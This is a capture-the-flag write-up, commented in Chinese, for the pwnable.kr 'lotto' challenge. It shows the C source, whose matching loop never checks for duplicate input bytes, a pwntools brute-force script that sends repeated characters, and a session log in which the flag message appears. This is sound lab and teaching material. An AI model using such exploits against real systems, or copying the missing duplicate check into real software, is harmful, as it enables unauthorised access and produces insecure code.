lotto

Mommy! I made a lotto program for my homework.
do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);//输入6个字符,返回值是6,把输入的内容存放在submit中,0表示从键盘中输入


        printf("Lotto Start!\n");
        sleep(1);

//        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);//如果找不到文件就返回-1
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        r = read(fd, lotto, 6);
//        printf("lotto:%d %d %d %d %d %d\n",lotto[0],lotto[1],lotto[2],lotto[3],lotto[4],lotto[5]);
//        printf("%s\n",lotto);
        if(read(fd, lotto, 6) != 6){//从文件描述符fd描述的文件中读取6个字节放在lotto中
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45 //讲字符对应的ascii码转换到1~45之间
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }
//        // win!
        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }

}

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}

from pwn import *

p = process('./lotto')

p.recvuntil('Exit\n')


for i in range(0x20,46):  # 我们输入的字符的ascii码要在1~45之间
    print(i)
    p.sendline('1')
    p.recvuntil('bytes : ')

    payload = chr(i) * 6  # chr的作用是将数字转换为对应的字符
    print(payload)

    p.sendline(payload)
    p.recvuntil('Lotto Start!\n')

    result = p.recvline()
    #  print(result)
    if('bad luck' not in str(result)):
        print(result)

使用ssh远程连接,运行

acat@acat-xx:~$ ssh lotto@pwnable.kr -p2222
lotto@pwnable.kr's password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have new mail.
Last login: Mon Feb 10 01:46:22 2020 from 58.243.254.239
lotto@pwnable:~$ ls
flag  lotto  lotto.c
lotto@pwnable:~$ python
Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> p = process('./lotto')
[x] Starting local process './lotto'
[+] Starting local process './lotto': pid 207067
>>> 
>>> p.recvuntil('Exit\n')
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\n'
>>> for i in range(0x20,46):
...     print(i)
...     p.sendline('1')
...     p.recvuntil('bytes : ')
...     payload = chr(i) * 6
...     print(payload)
...     p.sendline(payload)
...     p.recvuntil('Lotto Start!\n')
...     result = p.recvline()
...     if('bad luck' not in str(result)):
...         print(result)
... 
32
'Submit your 6 lotto bytes : '
      
'Lotto Start!\n'
33
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
!!!!!!
'Lotto Start!\n'
34
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
""""""
'Lotto Start!\n'
35
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
######
'Lotto Start!\n'
36
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
$$$$$$
'Lotto Start!\n'
37
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
%%%%%%
'Lotto Start!\n'
38
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
&&&&&&
'Lotto Start!\n'
39
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
''''''
'Lotto Start!\n'
40
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
((((((
'Lotto Start!\n'
41
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
))))))
'Lotto Start!\n'
sorry mom... I FORGOT to check duplicate numbers... :(

42
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
******
'Lotto Start!\n'
43
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
++++++
'Lotto Start!\n'
44
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
,,,,,,
'Lotto Start!\n'
45
'- Select Menu -\n1. Play Lotto\n2. Help\n3. Exit\nSubmit your 6 lotto bytes : '
------
'Lotto Start!\n'
>>>